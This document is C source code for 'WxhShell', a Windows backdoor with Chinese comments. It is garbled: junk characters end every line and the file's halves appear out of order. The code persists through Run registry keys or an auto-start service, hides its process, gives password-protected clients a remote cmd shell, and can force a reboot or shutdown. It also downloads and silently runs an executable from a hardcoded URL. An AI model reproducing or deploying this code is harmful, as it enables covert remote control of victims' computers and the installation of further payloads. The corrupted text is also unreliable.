    if(Boot(SHUTDOWN)) b~<:k\EE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Kd'!lMuz  
    else { aEun *V^,  
    closesocket(wsh); <)Y jVGG  
    ExitThread(0); *_H]?&  
    } 8>xd  
    break; CdtCxy5  
    } 2+*o^`%4P  
  // 获取shell 'a:';hU3f  
  case 's': { ;hh.w??  
    CmdShell(wsh); 7loWqZ  
    closesocket(wsh); h<n2pz}  
    ExitThread(0); E!>MJlA:k6  
    break; +k0UVZZX?  
  } }%^3  
  // 退出 g[\8s~g,  
  case 'x': { W*,$0 t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m/< @Qw  
    CloseIt(wsh); ;*d?Qe:  
    break; !P":z0K4  
    } =)x+f/c]  
  // 离开 -U\s.FI.AR  
  case 'q': { M'T[L%AP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z4m+GFY  
    closesocket(wsh); k7(lwEgNG  
    WSACleanup(); [+!+Yn6:  
    exit(1); zy|h1 .gd  
    break; aY DM)b}  
        } t Q.%f:|  
  } Z@AN0?,`~o  
  } @ *5+ZAF  
162Dj$  
  // 提示信息 hE'>8{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jY ;Hdb''  
} sWi4+PAM0  
  } urQ<r{$x0  
Fz5eCe\B  
  return; 4{0vdpo3F  
} (^]3l%Ed  
5fLp?`T  
// shell模块句柄 }n +MVJ;dG  
int CmdShell(SOCKET sock) }{[JS=A^  
{ di<g"8  
STARTUPINFO si; (@=h(u.  
ZeroMemory(&si,sizeof(si)); pi/&WMZ<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *=Ma5J.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]}.|b6\  
PROCESS_INFORMATION ProcessInfo; t$lJgj(  
char cmdline[]="cmd"; IiY%y:!g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TeyFq0j@'  
  return 0; - <tTT  
} .s|5AC[  
l(}l([rdQ  
// 自身启动模式 \)2'+R  
int StartFromService(void) fe}RmnAC  
{ iaQFVROu  
typedef struct x6vkd%fCj  
{ L\"eE'A  
  DWORD ExitStatus; (.b!kfC  
  DWORD PebBaseAddress; g O8~$Aj  
  DWORD AffinityMask; /)4Q%Zp  
  DWORD BasePriority; C%/@U[;  
  ULONG UniqueProcessId; zv^+8h7k  
  ULONG InheritedFromUniqueProcessId; }$* z:E  
}   PROCESS_BASIC_INFORMATION; >VG*La' c  
z*o2jz?t4  
PROCNTQSIP NtQueryInformationProcess; ~$1g"jIw  
.m xc~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aLwEz}-   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _J,*0~O$  
_&]Gw, ~/i  
  HANDLE             hProcess; P7 5@Yu(  
  PROCESS_BASIC_INFORMATION pbi; +KIBbXF7  
`'pfBVBz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EV;"]lC9  
  if(NULL == hInst ) return 0; f^Q)lIv  
P|a|4Bb+fW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =n;LP#(h?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p#>,{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  7uzc1}r  
W>[TFdH?  
  if (!NtQueryInformationProcess) return 0; lEw!H^O4  
W^eQ}A+Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O_*tDq,e  
  if(!hProcess) return 0; $6d5W=u$H  
~SwGZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~e5E%bXxC  
LVy (O9g  
  CloseHandle(hProcess); 04a@  
}3-`e3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >Hd!o"I  
if(hProcess==NULL) return 0; uzS;&-nA  
/5?tXH"  
HMODULE hMod; V}h)e3X  
char procName[255]; *(sv5c!0M8  
unsigned long cbNeeded; j<h0`v  
NH'QMjL)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $-39O3  
6)~7Uf:<v  
  CloseHandle(hProcess); +0:]KG!Zs.  
GwmYhG<{  
if(strstr(procName,"services")) return 1; // 以服务启动 o\nFSG kn  
Z{_YH7_  
  return 0; // 注册表启动 ~Vc`AcWP  
} WT1d'@LY  
ra1_XR}  
// 主模块 |gfG\fL3V  
int StartWxhshell(LPSTR lpCmdLine) n9k-OGJ  
{ >{"E~U  
  SOCKET wsl; Na+3aM%%  
BOOL val=TRUE; (^~~&/U_U$  
  int port=0; '.7ER  
  struct sockaddr_in door; mwF{z.t"  
IG!(q%Gf  
  if(wscfg.ws_autoins) Install(); _ F2ofB'  
tl=e!  
port=atoi(lpCmdLine); w[u>*I  
 \ns} M3  
if(port<=0) port=wscfg.ws_port; UDlM?r:f  
s =<65  
  WSADATA data; b\UE+\a&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yxi*4R  
3E!3kSh|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -.5R.~@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }RUK?:lEA  
  door.sin_family = AF_INET; m-Qy6"eW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jT4 m(j  
  door.sin_port = htons(port); j 5bHzcv  
$NBQv6#:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NH+N+4dEO  
closesocket(wsl); {v2[x W  
return 1; D=M'g}l  
} tV2o9!N4  
D@m3bsMwe  
  if(listen(wsl,2) == INVALID_SOCKET) { Pje 1,B q  
closesocket(wsl); 4p>,  
return 1; R=S)O.*R  
} 5e^z]j1Yv  
  Wxhshell(wsl); 5dL!e<<  
  WSACleanup(); <=%G%V_s  
!14l[k+\  
return 0; %Lp#2?*  
)!'7!" $  
} %U9f`qE  
72= 4#  
// 以NT服务方式启动 b:$q5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q 34-a"6)  
{ \OkJX_7  
DWORD   status = 0; !4$-.L)#  
  DWORD   specificError = 0xfffffff; $v=(`=  
L8KaK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -5@hU8B'a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ',I$`h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,W>-MPJn[8  
  serviceStatus.dwWin32ExitCode     = 0; J5}?<Dd:  
  serviceStatus.dwServiceSpecificExitCode = 0; d,o|>e$  
  serviceStatus.dwCheckPoint       = 0; 22`e7  
  serviceStatus.dwWaitHint       = 0; -$`q:j  
M[L@ej  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uC2qP)m,^  
  if (hServiceStatusHandle==0) return; <4N E)!#  
>bg{  
status = GetLastError(); Iv?1XI=  
  if (status!=NO_ERROR) Kj:'Ei7  
{ J,k.*t:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q0@b d2}  
    serviceStatus.dwCheckPoint       = 0; T;3B_ lu]  
    serviceStatus.dwWaitHint       = 0; peVzF'F  
    serviceStatus.dwWin32ExitCode     = status; >n%ckL|rG  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,n$HTWa@0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8cj}9}k  
    return; )Zrn?KM  
  } >skl-f  
|C7=$DgwY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F`o"t]AD-a  
  serviceStatus.dwCheckPoint       = 0;  xC2y/ ?  
  serviceStatus.dwWaitHint       = 0; t]xR`Rr;X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c\rP"y|S};  
} m21H68y  
XKvH^Z4h{l  
// 处理NT服务事件,比如:启动、停止 +aOX{1w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >FL%H=]  
{ K%;=i2:  
switch(fdwControl) 8>(/:u_x  
{ ^C;ULUn3  
case SERVICE_CONTROL_STOP: >&Vz/0  
  serviceStatus.dwWin32ExitCode = 0; H2CpZK'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H)5"<=]  
  serviceStatus.dwCheckPoint   = 0; `=2p6<#z  
  serviceStatus.dwWaitHint     = 0; RF'&.RtVa  
  { =an 0PN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e,l-}=5* P  
  } {%6g6?=j  
  return; |^gnT`+  
case SERVICE_CONTROL_PAUSE: |^OK@KdL1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @Z Dd(xB&  
  break; &PFK0tY  
case SERVICE_CONTROL_CONTINUE: <BK?@Xy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "MyMByomQ  
  break; !'a <Dw5  
case SERVICE_CONTROL_INTERROGATE: A1B%<$|pz  
  break; 2 e&M/{  
}; d/\ajQ1::  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0+KSD{  
} ^O&&QRH~w  
C9eisUM  
// 标准应用程序主函数 MaZS|Zei[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5X:3'*  
{ /b410NP5  
."ytBF  
// 获取操作系统版本 kT:?1w'  
OsIsNt=GetOsVer(); d1 lxz?r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }|l7SFst  
Uv!VzkPfo  
  // 从命令行安装 =0SJf 3  
  if(strpbrk(lpCmdLine,"iI")) Install(); =:\5*  
.>Fpk7  
  // 下载执行文件 Ei89Ngp\}  
if(wscfg.ws_downexe) { Op hD_^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o 9d|XY_  
  WinExec(wscfg.ws_filenam,SW_HIDE); "_:6v64Gx  
} o 80x@ &A:  
c-4z8T#M^  
if(!OsIsNt) { fP llN8n  
// 如果时win9x,隐藏进程并且设置为注册表启动 n/YnISt  
HideProc(); w4l]rH  
StartWxhshell(lpCmdLine); Ho $+[K  
} l0tFj>q"  
else QRwOv  
  if(StartFromService()) EB p g  
  // 以服务方式启动 ( geV(zT  
  StartServiceCtrlDispatcher(DispatchTable); _WI~b  
else @2TfW]6  
  // 普通方式启动 B)rBM  
  StartWxhshell(lpCmdLine); SBY0L.  
AnpO?+\HF  
return 0; juxAyds  
} X7?j90tH  
V(Oi!(H;v  
Y]i:$X]C?X  
OXZx!h  
=========================================== >]2^5C;  
AG"iS<u  
WN o+%  
C#RueDa.  
^BP4l_rO9  
%cASk>^i  
" 2~h Q   
 !>Q{co'  
#include <stdio.h> (A-Uo   
#include <string.h> ^c| 0?EH  
#include <windows.h> u3sr"w&  
#include <winsock2.h> T7N\b]?j@Y  
#include <winsvc.h> In*0.   
#include <urlmon.h> sR| /s3;  
Ld=6'C8ud  
#pragma comment (lib, "Ws2_32.lib") J$-1odL0Z  
#pragma comment (lib, "urlmon.lib") E cd~H+  
A$?o3--#]G  
#define MAX_USER   100 // 最大客户端连接数 zoj w^%W  
#define BUF_SOCK   200 // sock buffer 2t7=GA+j  
#define KEY_BUFF   255 // 输入 buffer >Fc=F#tA9  
<lWBhrz  
#define REBOOT     0   // 重启 w7~&Xxa/  
#define SHUTDOWN   1   // 关机 d!"gb,ec  
M* dou_Q  
#define DEF_PORT   5000 // 监听端口 s*vtCdrE.  
yaAg!mW  
#define REG_LEN     16   // 注册表键长度 uFaT~ 4  
#define SVC_LEN     80   // NT服务名长度 %@%~<U)W  
g5 y*-t  
// 从dll定义API kZ!&3G9>-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M$3/jl*#}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c43&[xP Lz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,;yaYF 6|/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XL(2Qk  
`U{#;  
// wxhshell配置信息 ^{-Z3Yxd  
struct WSCFG { Dj w#{WR  
  int ws_port;         // 监听端口 Y7`Dx'x  
  char ws_passstr[REG_LEN]; // 口令 b=:%*gq,  
  int ws_autoins;       // 安装标记, 1=yes 0=no P}-S[[b73s  
  char ws_regname[REG_LEN]; // 注册表键名 Qe=eer~jI  
  char ws_svcname[REG_LEN]; // 服务名 ?q"9ZYX<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x8&~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (- {.T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sA+( |cEh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &tw{d DD6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'zuA3$SR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $oZV 54  
NaeG)u#+  
}; wVUm!Y  
> Cx;h=  
// default Wxhshell configuration q?# w%0}  
struct WSCFG wscfg={DEF_PORT, wr2F]1bh@  
    "xuhuanlingzhe", a6g+"EcH#'  
    1, I0sw/,J/Z  
    "Wxhshell", Ce PI{`&,  
    "Wxhshell", 5R O_)G<  
            "WxhShell Service", s?&UFyYb,  
    "Wrsky Windows CmdShell Service", HE3x0H}o>  
    "Please Input Your Password: ", #:nds,   
  1, ]ov"&,J  
  "http://www.wrsky.com/wxhshell.exe", \eS-wO7%  
  "Wxhshell.exe" YuzgR;Z  
    }; *l'5z)]  
Tc;j)_C)  
// 消息定义模块 fMZc_dsW9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |z.Ov&d4)(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; efm#:>H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .4,l0Nn`W  
char *msg_ws_ext="\n\rExit."; )>WSuf j  
char *msg_ws_end="\n\rQuit."; vce1'aW  
char *msg_ws_boot="\n\rReboot..."; CGCSfoS9f  
char *msg_ws_poff="\n\rShutdown..."; s#V:! 7  
char *msg_ws_down="\n\rSave to "; @4j!M1} 4  
EN~ha:9  
char *msg_ws_err="\n\rErr!"; G+jcR; s  
char *msg_ws_ok="\n\rOK!"; c`!8!R  
wfBf&Z0{  
char ExeFile[MAX_PATH]; WJw %[_W  
int nUser = 0; Z~ {[YsG  
HANDLE handles[MAX_USER]; ZbLN:g}  
int OsIsNt; JJE0q5[  
RyN?Sn5)  
SERVICE_STATUS       serviceStatus; mX QVL.P\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .k:Uj-&  
%z AN@  
// 函数声明 #wZBWTj.  
int Install(void); [}=/?(5  
int Uninstall(void); &oqzQ+H  
int DownloadFile(char *sURL, SOCKET wsh); aT%6d@g  
int Boot(int flag); ] iVoF N}^  
void HideProc(void); he1W22  
int GetOsVer(void); h**mAa0fo  
int Wxhshell(SOCKET wsl); ~:lN("9OI  
void TalkWithClient(void *cs); _.$g?E/(  
int CmdShell(SOCKET sock); tz"zQC$  
int StartFromService(void); <bxp/#6D  
int StartWxhshell(LPSTR lpCmdLine); *[[TDduh&  
9='=wWW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rJ}k!}G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !)TO2?,^  
@+ U++  
// 数据结构和表定义 ]R  s  
SERVICE_TABLE_ENTRY DispatchTable[] = ^J$?[@qD  
{ \%011I4  
{wscfg.ws_svcname, NTServiceMain}, yu] nK-Y7S  
{NULL, NULL} 7e D<(  
}; W-ll2b  
!]z6?kUK  
// 自我安装 J`x!c9zg7  
int Install(void) 8st~ O  
{ .ITR3]$  
  char svExeFile[MAX_PATH]; gXI8$W>  
  HKEY key; ykbTWp$Y4Z  
  strcpy(svExeFile,ExeFile); 7*&$-Hv  
-v7O*xm"  
// 如果是win9x系统,修改注册表设为自启动 \@i4im@%xU  
if(!OsIsNt) { ~}fQ.F*7R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lGAKHCs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); juc;]CHt'  
  RegCloseKey(key); C7lBK<gQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -^%YrWgd?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h16i]V  
  RegCloseKey(key); qkbxa?&X  
  return 0; 96$qH{]Ap  
    } =-U8^e_Y  
  } Y"&1jud4xl  
} 7v^V]&&s  
else { KDzTe9  
nm597WeZp  
// 如果是NT以上系统,安装为系统服务 BE]PM nI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h (1 }g/  
if (schSCManager!=0) j\S}TaH0e  
{ -h/KrB  
  SC_HANDLE schService = CreateService n!K<g.tjW  
  ( $yA2c^QS  
  schSCManager, wpLC,  
  wscfg.ws_svcname, ADQ#qA,/  
  wscfg.ws_svcdisp, <(U :v  
  SERVICE_ALL_ACCESS, xEfz AJ5&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gZD,#D.hR  
  SERVICE_AUTO_START, WKB8k-.]ww  
  SERVICE_ERROR_NORMAL, aA5rvP +  
  svExeFile, /Ky xOb)  
  NULL, 7u9!:}Tu  
  NULL, &CEZ+\bA  
  NULL, "}jY;d#n  
  NULL, =(x W7Pt~  
  NULL z sZP\  
  ); $stBB  
  if (schService!=0) u(!@6%?-  
  { J^R#  
  CloseServiceHandle(schService); L,B#%t  
  CloseServiceHandle(schSCManager); aF~ 0\XC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {IlX@qWr  
  strcat(svExeFile,wscfg.ws_svcname); `1eGsd,f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (K(6`~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oL2 a:\7  
  RegCloseKey(key); `V1D &}H+G  
  return 0; ATb[/=hP<R  
    } lB0: 4cIj  
  } UvtSNP&/2d  
  CloseServiceHandle(schSCManager); 9Xv>FVG!  
} Jn>6y:s  
} Jt3]'Nr04@  
c88I"5@[bD  
return 1; $O/@bh1@p  
} ;P{HePs=)  
_26~<gU8  
// 自我卸载 itmdY!;<  
int Uninstall(void) dsh S+d  
{ OEN!~-u  
  HKEY key; 2sOV3~bB  
  vZQ'  
if(!OsIsNt) { uNV\_'9>Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p+;[i%`  
  RegDeleteValue(key,wscfg.ws_regname); QlHxdRK`.  
  RegCloseKey(key); =h4* ^NJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l$_Yl&!q$  
  RegDeleteValue(key,wscfg.ws_regname);  3O:gZRxK  
  RegCloseKey(key); N!fTt,  
  return 0; 'NJCU.lKm  
  } 5+gSpg]i  
} YRy5.F%?  
} Q@in?};  
else { 1Ue;hu'q:  
V*m@Rs!)2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G@O~*k1v  
if (schSCManager!=0) ]y:ez8RFPU  
{ q~^qf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nbpGxUF`]  
  if (schService!=0) h7( R/Rf  
  { p)$DpNL% p  
  if(DeleteService(schService)!=0) { ZPT6 p J  
  CloseServiceHandle(schService); Kug_0+gI  
  CloseServiceHandle(schSCManager); U/e$.K3v  
  return 0; "1P>,\Sjg  
  } )rTV}Hk  
  CloseServiceHandle(schService); ?~;8Y=O  
  } i9NUv3#  
  CloseServiceHandle(schSCManager); Wq+6`o  
} ctv=8SFv(  
} *)V1Sd#m  
d8|bO#a%9  
return 1; (qDu|S3P  
} 26c,hPIeXY  
V0,%g+.^  
// 从指定url下载文件 _oB!-#  
int DownloadFile(char *sURL, SOCKET wsh) O;u&>BMk  
{ ~"E@do("  
  HRESULT hr; yX}riXe  
char seps[]= "/"; }4!R2c  
char *token; 8u,f<XHi"a  
char *file; E6{|zF/3'  
char myURL[MAX_PATH]; 5AWIk,[  
char myFILE[MAX_PATH]; 0$-N  
cMCGaaLU  
strcpy(myURL,sURL); poqcoSL"}  
  token=strtok(myURL,seps); r.5}Q?  
  while(token!=NULL) _`/: gkZS  
  { 'nOc_b0  
    file=token; <5s51b <  
  token=strtok(NULL,seps); 6n{`t/  
  } ~mqiXr8  
9Ytf7NpR  
GetCurrentDirectory(MAX_PATH,myFILE); BcMgfa/  
strcat(myFILE, "\\"); e5!LbsJv  
strcat(myFILE, file); H]LH~l  
  send(wsh,myFILE,strlen(myFILE),0); i)Hjmf3  
send(wsh,"...",3,0); $nB4Ie!WcR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y{.s 4NT  
  if(hr==S_OK) %<|w:z$vp  
return 0; $YM>HZe-  
else GZ.F q  
return 1; U*.Wx0QM  
c :S A#.  
} Q3t9J"=1g  
ZSKSMI%D  
// 系统电源模块 0-ISOA&  
int Boot(int flag) #K|:BS  
{ V^a] @GK:  
  HANDLE hToken; LV4]YC  
  TOKEN_PRIVILEGES tkp; TG\3T%gH/s  
0] 'Bd`e  
  if(OsIsNt) { b<|l* \  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f?_UT}n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [ 7W@/qqv  
    tkp.PrivilegeCount = 1; gK{-eS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -lKk.Y.}r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L'dR;T[;  
if(flag==REBOOT) { ,)u\G(N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7V6gT}R  
  return 0; - J9K  
} 'N?,UtG R  
else { >tfy\PY:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %!5[3b'h  
  return 0; ,O[HX?>  
} jG"n);WF  
  } I`?6>Z+%)  
  else { TA=VfA B  
if(flag==REBOOT) { <P)vx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K,7IBv,B[  
  return 0; /8\gT(@  
} xef@-%mcoy  
else { 50 :gk*hy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;aJBx  
  return 0; S&y(A0M  
} (nWi9(}J  
} A.a UWh  
E2M|b  
return 1; @Sxb}XI!f  
} 86c@Kk7z  
8+ P)V4}  
// win9x进程隐藏模块 >z'kCv  
void HideProc(void) _e%jM[  
{ Nwu,:}T  
}g1V6 `8&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %#!`>S)O  
  if ( hKernel != NULL ) Mqu>#lL  
  { q*,g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (Ev/R%Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wAC*D=Qj  
    FreeLibrary(hKernel); $Hr qX?&r  
  } o`hVI*D  
iElE-g@Ws  
return; P4x Q:$2!  
} ? Xb8B5  
j]uL 9\>  
// 获取操作系统版本 |{ E\ 2U  
int GetOsVer(void) T %   
{ ys+ AY^/  
  OSVERSIONINFO winfo; GCn^+`.h1t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]?n)!u  
  GetVersionEx(&winfo); !"w1Pv,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NwH`t#zd  
  return 1; >7yOu!l  
  else >syQDB  
  return 0; HmWU;9Vn+  
} h,-8( S  
tDF=Iqu)a  
// 客户端句柄模块 [42vO  
int Wxhshell(SOCKET wsl) P`JO6O:&  
{ kPt9(E]  
  SOCKET wsh; yi7m!+D3  
  struct sockaddr_in client; Z x9oj  
  DWORD myID; dd+[FU  
~NYy@l   
  while(nUser<MAX_USER) bo]xah|."j  
{ u)]]9G _8  
  int nSize=sizeof(client); &/K:zWk3mx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7X \azL  
  if(wsh==INVALID_SOCKET) return 1; ZeVb< g  
aJ[K'5|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =.q Zgcg  
if(handles[nUser]==0) m&EJ @,H  
  closesocket(wsh); ';g]!XsY)  
else PP\nR @  
  nUser++; *\9JIi 2  
  } jfxW9][   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RQzcsO  
6$"gm$3O]  
  return 0; o)_;cCr)q  
} ?LP&VU1  
7_,)"J2^  
// 关闭 socket wB(A['k  
void CloseIt(SOCKET wsh) uWs5 +  
{ >EQd;Af  
closesocket(wsh); }]0f -}  
nUser--; 9mdp \A  
ExitThread(0); h?f)Bt}ry  
} vWbf5?  
j7&57'  
// 客户端请求句柄 $ b Q4[  
void TalkWithClient(void *cs) ^rz8c+ly  
{ x.Sq2rw]V  
SDY!!.  
  SOCKET wsh=(SOCKET)cs; qPJU}(9#B  
  char pwd[SVC_LEN]; {1H3VSYq  
  char cmd[KEY_BUFF]; Q fI =  
char chr[1]; 8mM^wT  
int i,j; 1BQB8i-,  
mlolSD;7  
  while (nUser < MAX_USER) { lM1Y }  
^4Ta0kDn  
if(wscfg.ws_passstr) { D8u_Z<6IjI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J1,\Q<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 01md@4NQ  
  //ZeroMemory(pwd,KEY_BUFF); ?n$;l-m[  
      i=0; Vz$X0C=W;H  
  while(i<SVC_LEN) { [cSoo+Mlx  
Vx1xULdY  
  // 设置超时 KMsm2~P  
  fd_set FdRead; /b*VFA/75  
  struct timeval TimeOut; 6qsT/  
  FD_ZERO(&FdRead); JJL#Y  
  FD_SET(wsh,&FdRead); FKU$HQw*  
  TimeOut.tv_sec=8; OidF{I*O  
  TimeOut.tv_usec=0; wyqXD.o f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3Lx]-0h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S|U/m m  
bL`O k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t/? x#X  
  pwd=chr[0]; VGLE5lP X  
  if(chr[0]==0xd || chr[0]==0xa) { (h NSzG\  
  pwd=0; _<?lP$Xr  
  break; <^}{sdOyu  
  } VH&6Tm1  
  i++; :Gyv%> .  
    } $7q'Be@{  
\IZfp=On  
  // 如果是非法用户,关闭 socket K 2J DG.<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6PETIs  
} KsZXdM/  
@/6cEiC+r\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Go>_4)jy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k(>hboR5n  
Q_<CG[,6D1  
while(1) { X( m&  
!^ko"^p  
  ZeroMemory(cmd,KEY_BUFF); ZU%7m_zO  
(/J$2V5-  
      // 自动支持客户端 telnet标准   C^]y iR-U  
  j=0; 5;=,BWU  
  while(j<KEY_BUFF) { I2JE@?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?(Dk{-:T'  
  cmd[j]=chr[0]; RC5b'+E&#  
  if(chr[0]==0xa || chr[0]==0xd) { tWkD@w`Lnn  
  cmd[j]=0; $E;`Y|r%WK  
  break; qV57P6<  
  } x%kS:!  
  j++; SWujj,-[  
    } q.L0rY!  
#S+GI!  
  // 下载文件 cE S3<`[K  
  if(strstr(cmd,"http://")) { " $5J7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0m?v@K' l  
  if(DownloadFile(cmd,wsh)) Vw7NLTE}`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nKn,i$sO/.  
  else '+tU8Pb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ndRy&[f7  
  } ]kC/b^~+m  
  else { I>X_j)  
q|)8VmVV  
